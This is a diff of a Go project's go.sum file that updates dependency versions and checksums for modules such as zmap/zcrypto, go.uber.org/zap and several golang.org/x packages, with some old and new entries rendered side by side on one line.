@ -601,6 +601,12 @@ github.com/yuin/goldmark-emoji v1.0.1 h1:ctuWEyzGBwiucEqxzwe0SOYDXPAucOrE9NQC18W
github.com/yuin/goldmark-emoji v1.0.1/go.mod h1:2w1E6FEWLcDQkoTE+7HU6QF1F6SLlNGjRIBbIZQFqkQ= github.com/yuin/goldmark-emoji v1.0.1/go.mod h1:2w1E6FEWLcDQkoTE+7HU6QF1F6SLlNGjRIBbIZQFqkQ=
github.com/yusufpapurcu/wmi v1.2.3 h1:E1ctvB7uKFMOJw3fdOW32DwGE9I7t++CRUEMKvFoFiw= github.com/yusufpapurcu/wmi v1.2.3 h1:E1ctvB7uKFMOJw3fdOW32DwGE9I7t++CRUEMKvFoFiw=
github.com/yusufpapurcu/wmi v1.2.3/go.mod h1:SBZ9tNy3G9/m5Oi98Zks0QjeHVDvuK0qfxQmPyzfmi0= github.com/yusufpapurcu/wmi v1.2.3/go.mod h1:SBZ9tNy3G9/m5Oi98Zks0QjeHVDvuK0qfxQmPyzfmi0=
github.com/zeebo/assert v1.1.0 h1:hU1L1vLTHsnO8x8c9KAR5GmM5QscxHg5RNU5z5qbUWY=
github.com/zeebo/assert v1.1.0/go.mod h1:Pq9JiuJQpG8JLJdtkwrJESF0Foym2/D9XMU5ciN/wJ0=
github.com/zeebo/blake3 v0.2.3 h1:TFoLXsjeXqRNFxSbk35Dk4YtszE/MQQGK10BH4ptoTg=
github.com/zeebo/blake3 v0.2.3/go.mod h1:mjJjZpnsyIVtVgTOSpJ9vmRE4wgDeyt2HU3qXvvKCaQ=
github.com/zeebo/pcg v1.0.1 h1:lyqfGeWiv4ahac6ttHs+I5hwtH/+1mrhlCtVNQM2kHo=
github.com/zeebo/pcg v1.0.1/go.mod h1:09F0S9iiKrwn9rlI5yjLkmrug154/YRW6KnnXVDM/l4=
github.com/zmap/rc2 v0.0.0-20131011165748-24b9757f5521/go.mod h1:3YZ9o3WnatTIZhuOtot4IcUfzoKVjUHqu6WALIyI0nE= github.com/zmap/rc2 v0.0.0-20131011165748-24b9757f5521/go.mod h1:3YZ9o3WnatTIZhuOtot4IcUfzoKVjUHqu6WALIyI0nE=
github.com/zmap/rc2 v0.0.0-20190804163417-abaa70531248 h1:Nzukz5fNOBIHOsnP+6I79kPx3QhLv8nBy2mfFhBRq30= github.com/zmap/rc2 v0.0.0-20190804163417-abaa70531248 h1:Nzukz5fNOBIHOsnP+6I79kPx3QhLv8nBy2mfFhBRq30=
github.com/zmap/rc2 v0.0.0-20190804163417-abaa70531248/go.mod h1:3YZ9o3WnatTIZhuOtot4IcUfzoKVjUHqu6WALIyI0nE= github.com/zmap/rc2 v0.0.0-20190804163417-abaa70531248/go.mod h1:3YZ9o3WnatTIZhuOtot4IcUfzoKVjUHqu6WALIyI0nE=
@ -608,24 +614,18 @@ github.com/zmap/zcertificate v0.0.0-20180516150559-0e3d58b1bac4/go.mod h1:5iU54t
github.com/zmap/zcertificate v0.0.1/go.mod h1:q0dlN54Jm4NVSSuzisusQY0hqDWvu92C+TWveAxiVWk= github.com/zmap/zcertificate v0.0.1/go.mod h1:q0dlN54Jm4NVSSuzisusQY0hqDWvu92C+TWveAxiVWk=
github.com/zmap/zcrypto v0.0.0-20201128221613-3719af1573cf/go.mod h1:aPM7r+JOkfL+9qSB4KbYjtoEzJqUK50EXkkJabeNJDQ= github.com/zmap/zcrypto v0.0.0-20201128221613-3719af1573cf/go.mod h1:aPM7r+JOkfL+9qSB4KbYjtoEzJqUK50EXkkJabeNJDQ=
github.com/zmap/zcrypto v0.0.0-20201211161100-e54a5822fb7e/go.mod h1:aPM7r+JOkfL+9qSB4KbYjtoEzJqUK50EXkkJabeNJDQ= github.com/zmap/zcrypto v0.0.0-20201211161100-e54a5822fb7e/go.mod h1:aPM7r+JOkfL+9qSB4KbYjtoEzJqUK50EXkkJabeNJDQ=
github.com/zmap/zcrypto v0.0.0-20230422215203-9a665e1e9968 h1:YOQ1vXEwE4Rnj+uQ/3oCuJk5wgVsvUyW+glsndwYuyA= github.com/zmap/zcrypto v0.0.0-20230814193918-dbe676986518 h1:O8GHQBxrphDuNhJQdKBHwP3JQUtZUyi3b+jjPYmF7oA=
github.com/zmap/zcrypto v0.0.0-20230422215203-9a665e1e9968/go.mod h1:xIuOvYCZX21S5Z9bK1BMrertTGX/F8hgAPw7ERJRNS0= github.com/zmap/zcrypto v0.0.0-20230814193918-dbe676986518/go.mod h1:Z2SNNuFhO+AAsezbGEHTWeW30hHv5niUYT3fwJ61Nl0=
github.com/zmap/zlint/v3 v3.0.0/go.mod h1:paGwFySdHIBEMJ61YjoqT4h7Ge+fdYG4sUQhnTb1lJ8= github.com/zmap/zlint/v3 v3.0.0/go.mod h1:paGwFySdHIBEMJ61YjoqT4h7Ge+fdYG4sUQhnTb1lJ8=
go.etcd.io/bbolt v1.3.7 h1:j+zJOnnEjF/kyHlDDgGnVL/AIqIJPq8UoB2GSNfkUfQ= go.etcd.io/bbolt v1.3.7 h1:j+zJOnnEjF/kyHlDDgGnVL/AIqIJPq8UoB2GSNfkUfQ=
go.etcd.io/bbolt v1.3.7/go.mod h1:N9Mkw9X8x5fupy0IKsmuqVtoGDyxsaDlbk4Rd05IAQw= go.etcd.io/bbolt v1.3.7/go.mod h1:N9Mkw9X8x5fupy0IKsmuqVtoGDyxsaDlbk4Rd05IAQw=
go.uber.org/atomic v1.7.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc= go.uber.org/goleak v1.2.0 h1:xqgm/S+aQvhWFTtR0XK3Jvg7z8kGV8P4X14IzwN3Eqk=
go.uber.org/atomic v1.10.0 h1:9qC72Qh0+3MqyJbAn8YU5xVq1frD8bn3JtD2oXtafVQ=
go.uber.org/atomic v1.10.0/go.mod h1:LUxbIzbOniOlMKjJjyPfpl4v+PKK2cNJn91OQbhoJI0=
go.uber.org/goleak v1.1.11 h1:wy28qYRKZgnJTxGxvye5/wgWr1EKjmUDGYox5mGlRlI=
go.uber.org/goleak v1.1.11/go.mod h1:cwTWslyiVhfpKIDGSZEM2HlOvcqm+tG4zioyIeLoqMQ=
go.uber.org/multierr v1.6.0/go.mod h1:cdWPpRnG4AhwMwsgIHip0KRBQjJy5kYEpYjJxpXp9iU=
go.uber.org/multierr v1.11.0 h1:blXXJkSxSSfBVBlC76pxqeO+LN3aDfLQo+309xJstO0= go.uber.org/multierr v1.11.0 h1:blXXJkSxSSfBVBlC76pxqeO+LN3aDfLQo+309xJstO0=
go.uber.org/multierr v1.11.0/go.mod h1:20+QtiLqy0Nd6FdQB9TLXag12DsQkrbs3htMFfDN80Y= go.uber.org/multierr v1.11.0/go.mod h1:20+QtiLqy0Nd6FdQB9TLXag12DsQkrbs3htMFfDN80Y=
go.uber.org/zap v1.21.0/go.mod h1:wjWOCqI0f2ZZrJF/UufIOkiC8ii6tm1iqIsLo76RfJw= go.uber.org/zap v1.25.0 h1:4Hvk6GtkucQ790dqmj7l1eEnRdKm3k3ZUrUMS2d5+5c=
go.uber.org/zap v1.24.0 h1:FiJd5l1UOLj0wCgbSE0rwwXHzEdAZS6hiiSnxJN/D60= go.uber.org/zap v1.25.0/go.mod h1:JIAUzQIH94IC4fOJQm7gMmBJP5k7wQfdcnYdPoEXJYk=
go.uber.org/zap v1.24.0/go.mod h1:2kMP+WWQ8aoFoedH3T2sq6iJ2yDWpHbP0f6MQbS9Gkg= goftp.io/server/v2 v2.0.1 h1:H+9UbCX2N206ePDSVNCjBftOKOgil6kQ5RAQNx5hJwE=
goftp.io/server/v2 v2.0.0 h1:FF8JKXXKDxAeO1uXEZz7G+IZwCDhl19dpVIlDtp3QAg= goftp.io/server/v2 v2.0.1/go.mod h1:7+H/EIq7tXdfo1Muu5p+l3oQ6rYkDZ8lY7IM5d5kVdQ=
goftp.io/server/v2 v2.0.0/go.mod h1:7+H/EIq7tXdfo1Muu5p+l3oQ6rYkDZ8lY7IM5d5kVdQ=
golang.org/x/crypto v0.0.0-20180904163835-0709b304e793/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= golang.org/x/crypto v0.0.0-20180904163835-0709b304e793/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
golang.org/x/crypto v0.0.0-20190219172222-a4c6cb3142f2/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= golang.org/x/crypto v0.0.0-20190219172222-a4c6cb3142f2/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
@ -637,19 +637,16 @@ golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPh
golang.org/x/crypto v0.0.0-20201124201722-c8d3bf9c5392/go.mod h1:jdWPYTVW3xRLrWPugEBEK3UY2ZEsg3UU495nc5E+M+I= golang.org/x/crypto v0.0.0-20201124201722-c8d3bf9c5392/go.mod h1:jdWPYTVW3xRLrWPugEBEK3UY2ZEsg3UU495nc5E+M+I=
golang.org/x/crypto v0.0.0-20201208171446-5f87f3452ae9/go.mod h1:jdWPYTVW3xRLrWPugEBEK3UY2ZEsg3UU495nc5E+M+I= golang.org/x/crypto v0.0.0-20201208171446-5f87f3452ae9/go.mod h1:jdWPYTVW3xRLrWPugEBEK3UY2ZEsg3UU495nc5E+M+I=
golang.org/x/crypto v0.0.0-20210220033148-5ea612d1eb83/go.mod h1:jdWPYTVW3xRLrWPugEBEK3UY2ZEsg3UU495nc5E+M+I= golang.org/x/crypto v0.0.0-20210220033148-5ea612d1eb83/go.mod h1:jdWPYTVW3xRLrWPugEBEK3UY2ZEsg3UU495nc5E+M+I=
golang.org/x/crypto v0.0.0-20210817164053-32db794688a5/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
golang.org/x/crypto v0.0.0-20211209193657-4570a0811e8b/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= golang.org/x/crypto v0.0.0-20211209193657-4570a0811e8b/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
golang.org/x/crypto v0.0.0-20220622213112-05595931fe9d/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= golang.org/x/crypto v0.0.0-20220622213112-05595931fe9d/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
golang.org/x/crypto v0.6.0/go.mod h1:OFC/31mSvZgRz0V1QTNCzfAI1aIRzbiufJtkMIlEp58=
golang.org/x/crypto v0.7.0/go.mod h1:pYwdfH91IfpZVANVyUOhSIPZaFoJGxTFbZhFTx+dXZU= golang.org/x/crypto v0.7.0/go.mod h1:pYwdfH91IfpZVANVyUOhSIPZaFoJGxTFbZhFTx+dXZU=
golang.org/x/crypto v0.11.0/go.mod h1:xgJhtzW8F9jGdVFWZESrid1U1bjeNy4zgy5cRr/CIio=
golang.org/x/crypto v0.12.0 h1:tFM/ta59kqch6LlvYnPa0yx5a83cL2nHflFhYKvv9Yk= golang.org/x/crypto v0.12.0 h1:tFM/ta59kqch6LlvYnPa0yx5a83cL2nHflFhYKvv9Yk=
golang.org/x/crypto v0.12.0/go.mod h1:NF0Gs7EO5K4qLn+Ylc+fih8BSTeIjAP05siRnAh98yw= golang.org/x/crypto v0.12.0/go.mod h1:NF0Gs7EO5K4qLn+Ylc+fih8BSTeIjAP05siRnAh98yw=
golang.org/x/exp v0.0.0-20230725093048-515e97ebf090 h1:Di6/M8l0O2lCLc6VVRWhgCiApHV8MnQurBnFSHsQtNY= golang.org/x/exp v0.0.0-20230817173708-d852ddb80c63 h1:m64FZMko/V45gv0bNmrNYoDEq8U5YUhetc9cBWKS1TQ=
golang.org/x/exp v0.0.0-20230725093048-515e97ebf090/go.mod h1:FXUEEKJgO7OQYeo8N01OfiKP8RXMtf6e8aTskBGqWdc= golang.org/x/exp v0.0.0-20230817173708-d852ddb80c63/go.mod h1:0v4NqG35kSWCMzLaMeX+IQrlSnVE/bqGSyC2cz/9Le8=
golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg= golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=
golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
golang.org/x/mod v0.12.0 h1:rmsUpXtvNzj340zd98LZ4KntptpfRHwpFOHG188oHXc= golang.org/x/mod v0.12.0 h1:rmsUpXtvNzj340zd98LZ4KntptpfRHwpFOHG188oHXc=
@ -666,10 +663,8 @@ golang.org/x/net v0.0.0-20200528225125-3c3fba18258b/go.mod h1:qpuaurCH72eLCgpAm/
golang.org/x/net v0.0.0-20201110031124-69a78807bb2b/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= golang.org/x/net v0.0.0-20201110031124-69a78807bb2b/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
golang.org/x/net v0.0.0-20201209123823-ac852fbbde11/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= golang.org/x/net v0.0.0-20201209123823-ac852fbbde11/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4/go.mod h1:p54w0d4576C0XHj96bSt6lcn1PtDYWL6XObtHCRCNQM=
golang.org/x/net v0.0.0-20210916014120-12bc252f5db8/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20210916014120-12bc252f5db8/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20220630215102-69896b714898/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
golang.org/x/net v0.0.0-20221002022538-bcab6841153b/go.mod h1:YDH+HFinaLZZlnHAfSS6ZXJJ9M9t4Dl22yv3iI2vPwk= golang.org/x/net v0.0.0-20221002022538-bcab6841153b/go.mod h1:YDH+HFinaLZZlnHAfSS6ZXJJ9M9t4Dl22yv3iI2vPwk=
golang.org/x/net v0.5.0/go.mod h1:DivGGAXEgPSlEBzxGzZI+ZLohi+xUj054jfeKui00ws= golang.org/x/net v0.5.0/go.mod h1:DivGGAXEgPSlEBzxGzZI+ZLohi+xUj054jfeKui00ws=
@ -677,16 +672,16 @@ golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=
golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=
golang.org/x/net v0.8.0/go.mod h1:QVkue5JL9kW//ek3r6jTKnTFis1tRmNAW2P1shuFdJc= golang.org/x/net v0.8.0/go.mod h1:QVkue5JL9kW//ek3r6jTKnTFis1tRmNAW2P1shuFdJc=
golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg= golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg=
golang.org/x/net v0.12.0/go.mod h1:zEVYFnQC7m/vmpQFELhcD1EWkZlX69l4oqgmer6hfKA=
golang.org/x/net v0.14.0 h1:BONx9s002vGdD9umnlX1Po8vOZmrgH34qlHcD1MfK14= golang.org/x/net v0.14.0 h1:BONx9s002vGdD9umnlX1Po8vOZmrgH34qlHcD1MfK14=
golang.org/x/net v0.14.0/go.mod h1:PpSgVXXLK0OxS0F31C1/tv6XNguvCrnXIDrFMspZIUI= golang.org/x/net v0.14.0/go.mod h1:PpSgVXXLK0OxS0F31C1/tv6XNguvCrnXIDrFMspZIUI=
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
golang.org/x/oauth2 v0.5.0/go.mod h1:9/XBHVqLaWO3/BRHs5jbpYCnOZVjj5V0ndyaAM7KB4I= golang.org/x/oauth2 v0.6.0/go.mod h1:ycmewcwgD4Rpr3eZJLSB4Kyyljb3qDh40vJ8STE5HKw=
golang.org/x/oauth2 v0.11.0 h1:vPL4xzxBM4niKCW6g9whtaWVXTJf1U5e4aZxxFx/gbU= golang.org/x/oauth2 v0.11.0 h1:vPL4xzxBM4niKCW6g9whtaWVXTJf1U5e4aZxxFx/gbU=
golang.org/x/oauth2 v0.11.0/go.mod h1:LdF7O/8bLR/qWK9DrpXmbHLTouvRHK0SgJl0GmDBchk= golang.org/x/oauth2 v0.11.0/go.mod h1:LdF7O/8bLR/qWK9DrpXmbHLTouvRHK0SgJl0GmDBchk=
golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20200317015054-43a5402ce75a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20200317015054-43a5402ce75a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.3.0 h1:ftCYgMx6zT/asHUrPw8BLLscYtGznsLAnjq5RH9P66E= golang.org/x/sync v0.3.0 h1:ftCYgMx6zT/asHUrPw8BLLscYtGznsLAnjq5RH9P66E=
@ -708,9 +703,7 @@ golang.org/x/sys v0.0.0-20201126233918-771906719818/go.mod h1:h1NjWce9XRLGQEsW7w
golang.org/x/sys v0.0.0-20201204225414-ed752295db88/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20201204225414-ed752295db88/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210228012217-479acdf4ea46/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210228012217-479acdf4ea46/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210616045830-e2b7044e8c71/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210616045830-e2b7044e8c71/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
@ -720,7 +713,6 @@ golang.org/x/sys v0.0.0-20211103235746-7861aae1554b/go.mod h1:oPkhp1MJrh7nUepCBc
golang.org/x/sys v0.0.0-20220310020820-b874c991c1a5/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220310020820-b874c991c1a5/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220704084225-05e143d24a9e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220728004956-3c1f35247d10/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220728004956-3c1f35247d10/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
@ -742,6 +734,7 @@ golang.org/x/term v0.4.0/go.mod h1:9P2UbLfCdcvo3p/nzKvsmas4TnlujnuoV9hGgYzW1lQ=
golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k=
golang.org/x/term v0.6.0/go.mod h1:m6U89DPEgQRMq3DNkDClhWw02AUbt2daBVO4cn4Hv9U= golang.org/x/term v0.6.0/go.mod h1:m6U89DPEgQRMq3DNkDClhWw02AUbt2daBVO4cn4Hv9U=
golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo= golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo=
golang.org/x/term v0.10.0/go.mod h1:lpqdcUyK/oCiQxvxVrppt5ggO2KCZ5QblwqPnfZ6d5o=
golang.org/x/term v0.11.0 h1:F9tnn/DA/Im8nCwm+fX+1/eBwi4qFjRT++MhtVC4ZX0= golang.org/x/term v0.11.0 h1:F9tnn/DA/Im8nCwm+fX+1/eBwi4qFjRT++MhtVC4ZX0=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
@ -754,25 +747,23 @@ golang.org/x/text v0.6.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
golang.org/x/text v0.8.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= golang.org/x/text v0.8.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8=
golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8=
golang.org/x/text v0.11.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE=
golang.org/x/text v0.12.0 h1:k+n5B8goJNdU7hSvEtMUz3d1Q6D/XW4COJSJR6fN0mc= golang.org/x/text v0.12.0 h1:k+n5B8goJNdU7hSvEtMUz3d1Q6D/XW4COJSJR6fN0mc=
